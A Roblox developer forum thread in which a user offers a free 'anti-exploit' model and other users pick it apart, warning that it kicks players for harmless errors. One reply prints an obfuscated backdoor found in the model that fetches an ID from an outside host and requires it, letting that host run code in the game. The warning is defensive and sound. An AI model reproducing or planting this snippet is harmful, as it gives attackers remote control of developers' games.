StudioCity's Server-Sided Anti Exploit & Local-Sided | Simple AntiCheat

NOTICE
This project will be discontinued after a year or so, you can still contribute on github if you’d like too.
THIS ANTI-EXPLOIT CAN BE BYPASSED BY HOOKMETAMETHOD & MANY MORE METHOD’S OUT THERE! (Except you can’t do anti-client-kick)

NOTE 2: About my other Anti exploit called ‘AXED’, it was being hatred, because how bad it was, so I re-made AXED Into a brand new name & fixed a lot of bugs.

AntiCheat
NOTE: The ‘StudioCity’ name is trash, I know. Sorry about that.
FaQ:
What does this support?
It supports:
AntiWalkSpeed
AntiExecution (via messageout)
Anti John Doe SS (PlayerGui detection, group detection) (soon)
AntiVelocity (soon)
AntiGodMode
AntiHumHipHeight
And many more (it should detect more stuff b/c of antiexecution, via messageout), also should be easy to bypass.
AntiHumanoid
AntiGravity

Q: Is this like the last time of AXED? No, as kikrot22 said it kicks you when inserting other scripts (i’ve already fixed that issue), if it is doing it again, PLEASE LETM EK NOW!

About the Anti Cheat
Hello!
I’ve started to open source StudioCity’s anti exploit, because I was bored. I made this in such a short time, was pretty fun to make.

Video on StudioCity (in action):

How do I use this?
Steps on how to use:

  1. Install Via: Studiocity Anti Exploit - Roblox
  2. Go open studio, put it on ServerStorage or ServerScriptService, or StarterGui/Workspace.
  3. Test the script’s that’s being antied. like (workspace.Gravity = 0)
  4. Enjoy having no skids in your game! (Until it’s bypassed :wink: )
    I’ll improve this project further more, and let me know if this is bypassable too (like I SAID ABOVE).

This is mostly local-sided, so it can easily be bypassed. But, tt’s very simple otherwise.
Thank you for reading :slight_smile:

8 Likes

I appreciate the effort

But if its bypassable, then why would I use it
If it wasnt, I would use this

3 Likes

because it’s better than nothing

Don’t use this “anti-exploit” if you don’t want your players to be kicked for nothing.

Kicks player when any child is removed from the humanoid:
изображение
Do I even need to comment this?
изображение
The “Synapse X detection”:
изображение
Kicks player when anything is printed in the output on the server (why…):
изображение

This is not just useless, but it will kick every single player from the server if one of your server scripts prints, warns or errors. It does more harm than good and should not exist as a “community resource”.

10 Likes

its not a very good idea to do anti-cheat on client side as it can all be bypassed by hooking the kick method so that the player wont be kicked. keep trying tho, just keep that in mind if you try re-write it.

Let me preface by saying, do not use this

This is by far one of the worst implementations of an anti cheat I have ever seen, and that says something; I am not saying this to be unhelpful, rather I am saying that the ‘anti cheat’ does not do what it is advertised as doing.

It will kick every player with its current scripting who has an error or warning, adds a LocalScript for some reason, even though most exploiters use CoreUI which cannot be detected. Overall, quite frankly, this post does not belong in community resources as it is extremely low-quality.

2 Likes

Why would it be needed in the first place when it doesn’t do what it’s supposed to do?

3 Likes

The 3rd one will probably cause a memory leak too. Those connections do not at all get disconnected when a player leaves. Meaning that your game server will soon self destruct when enough players join and enough connections are made to that event.

2 Likes

There is no point in talking about bugs when the anti exploit is just not working. These details are not important when there is a much bigger issue people should know about. But, yes, you are right.

It’s not. It literally kicks you if your client errors. Almost anything would be more competent than what the OP has done.

It kicks every player on the server when server errors.

That too, I was just referring to the broad scenario of client errors.

DO NOT USE THIS!
The model provided includes a backdoor require!

“qWeldPerfection” has this master piece:

pcall(function()
coroutine.wrap(function()
	local a:({caoqlqjaz9zxk329})  -> MemoryStoreQueue<thread> =task.spawn

	local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require

	local b:(Workspace) -> MemStorageConnection<thread> = tonumber(game:service("HttpService"):GetAsync("https://user.aureus.wtf/tcpeusuesufes"))

	local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel;

	for _ in {lozl(a(z,b))} do

	end
end)()
end)

In short, it attempts to use http to get an id.

Someone report this :sweat_smile:

Roblox moderator, I know you see this. Now take it down.

i looked into this further, and basically what it is doing is that it is making it very hard to read the functions, and it requires Aureus. Aureus is a way to execute code remotely into your game.

surprised this hasnt been taken down :stuck_out_tongue:

1 Like

Seems the owners decided to private this instead probably attempting to prevent a take-down.

Roblox have never been very good at taking these down, I gave irrefutable evidence of Nexus Admin’s backdoor module to several contacts a few months ago and nothing came of any of it.

Nexus? Can you link me to this?

One of the best anticheats i’ve seen released on the forum should’ve been paid

Remember to add /s for sarcasm.

Yeah uhh, no offense but I’d rather use other anti cheats instead. :coefficients: